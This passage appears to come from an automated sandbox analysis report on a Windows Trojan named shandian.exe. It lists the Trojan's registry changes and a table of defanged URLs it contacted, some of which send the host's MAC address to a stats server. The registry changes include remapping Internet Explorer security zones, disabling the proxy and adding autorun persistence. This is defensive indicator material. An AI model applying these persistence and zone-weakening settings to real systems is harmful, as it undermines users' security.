%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\stat[1].htm (0 bytes)

Registry activity

The process shandian.exe:648 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 78 09 5F 91 78 68 FC 85 F1 DC 8B FC 63 7B BE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process shandian.exe:1724 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014052720140528]
"CacheLimit" = "8192"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014052720140528]
"CacheRepair" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT]
"shandian.exe" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014052720140528]
"CacheOptions" = "11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "shandian.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014052720140528]
"CachePrefix" = ":2014052720140528:"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014052720140528]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014052720140528\"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE]
"shandian.exe" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1301653454"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 38 CF A7 55 4F 3D F0 BC 1C 20 9C 3F C5 A8 68"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014031720140318]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process sdad.exe:668 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "sdad.exe"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1384939658"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A3 3C 0C FE B0 C5 A9 0E EE 52 FD 40 71 37 3D AE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1912 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"DisplayName" = "ÉÁµçä¯ÀÀÆ÷"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"Publisher" = "ÉÁµç"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"URLInfoAbout" = "http://www.sd.com"
"DisplayIcon" = "%Program Files%\shandian\shandian.exe"

"UninstallString" = "%Program Files%\shandian\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "12 0C E4 03 6C 8E C0 09 20 8C 4E F2 9A 30 EC E5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\shandian]
"home.bat" = "home"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"shandian" = "%Program Files%\shandian\shandian.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://stat.fjmjm.com/stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a	112.124.102.171
hxxp://stat.fjmjm.com/stat/?ac=stat&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a	112.124.102.171
hxxp://stat.fjmjm.com/	112.124.102.171
hxxp://stat.fjmjm.com/web/welcome_cn.htm?ver=2.4.1.9&guid=a44876071049ba0f9cd3e4c222c439ce6cf2c6c1f881440dbb5aa781928f4f081401145464&lastver=	112.124.102.171
hxxp://stat.fjmjm.com/web/newioage.css	112.124.102.171
hxxp://proxy.sogou.com/?22014
hxxp://stat.fjmjm.com/web/images/start_button.jpg	112.124.102.171
hxxp://stat.fjmjm.com/web/images/texture.gif	112.124.102.171
hxxp://stat.fjmjm.com/web/images/guide_top.jpg	112.124.102.171
hxxp://njsh.cdn.sogou.com/kan/static/css/DD_belatedPNG_0.0.8a-min.js?t=
hxxp://stat.fjmjm.com/favicon.ico	112.124.102.171
hxxp://proxy.sogou.com/css/skin_.css?V=df
hxxp://njsh.cdn.sogou.com/imgn/v32/icon4.gif
hxxp://proxy.sogou.com/v53/jsn/v53_123n.js?V=df
hxxp://njsh.cdn.sogou.com/imgn/v32/selogo_111207.png
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/subnav_v41.png
hxxp://njsh.cdn.sogou.com/u/js/ufo2.js
hxxp://njsh.cdn.sogou.com/imgn/v32/skin2_0.gif
hxxp://njsh.cdn.sogou.com/imgn/123ie/setting_icon.gif
hxxp://njsh.cdn.sogou.com/v53/imgn/v53_arrow_h.gif
hxxp://proxy.sogou.com//v53/get_123_v53.php?block=wt&ver=v53&gfg=1&city=unknown&pid=Af22014&c=1401145470591&method=ajaf&cbf=fn
hxxp://proxy.sogou.com/jsn/hotdata.js?V=1401145470607
hxxp://njsh.cdn.sogou.com/imgn/v32/setskinbg.gif
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140508103513_537.gif
hxxp://proxy.sogou.com/dh/dhrc/rec.do?block=gamev2&jsonp=__yx2q&t=1&_stamp=1401145469716
hxxp://njsh.cdn.sogou.com/imgu/2013/05/20130531144119_126.png
hxxp://njsh.cdn.sogou.com/v53/imgn/v53_bicos.gif
hxxp://njsh.cdn.sogou.com/v53/imgn/v53_2icos.gif
hxxp://njsh.cdn.sogou.com/imgu/2013/08/20130820165531_481.gif
hxxp://njsh.cdn.sogou.com/imgn/v32/logo_1112293.gif
hxxp://njsh.cdn.sogou.com/imgn/123ie/search_arrow.gif
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=daohang&rdk=1401145470591&img=pv.gif&pars=?rand=1401145470591&suid=null&sduv=1401145470560_9086_00001&ckid=6094_00001_00000_6719_00000_00000&m=null&apid=null&sgtp=null&refer=&page=&pageUrl=http%3A%2F%2F123.sogou.com%2F%3F22014&loc=null&hp=-1&pid=Af22014&ptype=index&pcode=index&yyid=null&skin=null&ver=v53_ie6_df__4&sys=100&ser=null&sev=null&time=2562
hxxp://njsh.cdn.sogou.com/jsn/v33_sugg_ajaj_v40_3.js
hxxp://njsh.cdn.sogou.com/jsn/citydata.js
hxxp://njsh.cdn.sogou.com/v53/imgn/foot_slider.jpg
hxxp://njsh.cdn.sogou.com/ads_hz/_ads_2.js?t=778414
hxxp://njsh.cdn.sogou.com/imgn/v32/skin3.gif
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=ufo&ufoid=wan&ptype=jztf2&pcode=index&rdk=1401145471091&img=pv.gif&sourcelist=0011000100006_0011000100007_0011000100008_0011000100009_0011000100010_0011000100011&titlelist=热血沙城_风云无双_暗黑屠龙_大闹天宫OL_万世_Sogou傲剑2
hxxp://njsh.cdn.sogou.com/imgn/v32/fbg_about.png
hxxp://njsh.cdn.sogou.com/imgn/v51/new-erweima2.png
hxxp://njsh.cdn.sogou.com/imgn/tips/skin_tips_n1.gif
hxxp://njsh.cdn.sogou.com/imgn/v32/titlebg.png
hxxp://proxy.sogou.com/images/weather/cloudy.gif
hxxp://proxy.sogou.com/images/weather/fine.gif
hxxp://njsh.cdn.sogou.com/v53/jsn/main.js?V=107ff6db9da3d62875c7cafb326229a51
hxxp://stat.fjmjm.com/web/PopWinParam.asp?d=2014419&mainver=1.0.0&popver=1.0.0&xmlver=20131020010000	112.124.102.171
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=ufo&ufoid=daohang&ptype=indexv53&pcode=index&rdk=1401145475248&refer=&page=搜狗网址导航－－网址大全,实用网址,尽在123.sogou.com&pageUrl=http://123.sogou.com/?22014&img=pv.gif&vcode=v53
hxxp://proxy.sogou.com/v53/get_tj.php?hz=4670484&ids=qiche
hxxp://njsh.cdn.sogou.com/v53/imgn/guide_tip.png
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140526163043_207.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140526163242_997.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140526163446_912.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140526170756_638.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140520134931_810.jpg
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/new-ico.png
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/img-video-2.gif
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/img-news.gif
hxxp://njsh.cdn.sogou.com/imgu/2013/08/20130830161205_609.gif
hxxp://save2.xdwscache.glb0.lxdns.com/img/news_photo/2014/05/26/edKzjJ6oPX1140.jpg
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140526151005_195.jpg
hxxp://njsh.cdn.sogou.com/imgn/v51/i-ico-2b.png
hxxp://save2.xdwscache.glb0.lxdns.com/img/news_photo/2014/05/26/zd7uDX2EkK0904.jpg
hxxp://proxy.sogou.com/favicon.ico
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/stylemini.css	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/jquery-1.7.2.min.js	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/xinwen.htm?time=undefined	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/nvxing_509_366.htm?time=undefined	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/lieqi_509_366.htm?time=undefined	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/shehui_509_366.htm?time=undefined	117.34.91.39
hxxp://taurus.danuoyi.tbcache.com/material/d7/4/a9ac5ed3b828895d94097c8c6faba.jpg
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/jiankang_509_366.htm?time=undefined	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/meinv.htm?time=undefined	117.34.91.39
hxxp://drmcmm.e.shifen.com/media/id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs.jpg
hxxp://taurus.danuoyi.tbcache.com/noname.gif
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/Untitled-1.gif	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/normal_bg.png	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/Untitled-2.gif	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/Untitled-3.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/tj.js	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/ico_new2.png	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/min.png	117.34.91.39
hxxp://c.split.cnzz.com/stat.php?id=5645354
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/close.png	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/inc/style.css	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b13.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b14.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b15.jpg	117.34.91.39
hxxp://z12.cnzz.com/stat.htm?id=5645354&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=0&sin=&t=undefinedundefinedundefinedundefinedundefined&rnd=1774546312
hxxp://c.split.cnzz.com/core.php?web_id=5645354&t=z
hxxp://z12.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=1&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=2&sin=none&t=undefinedundefinedundefined&rnd=220255268
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b16.jpg	117.34.91.39
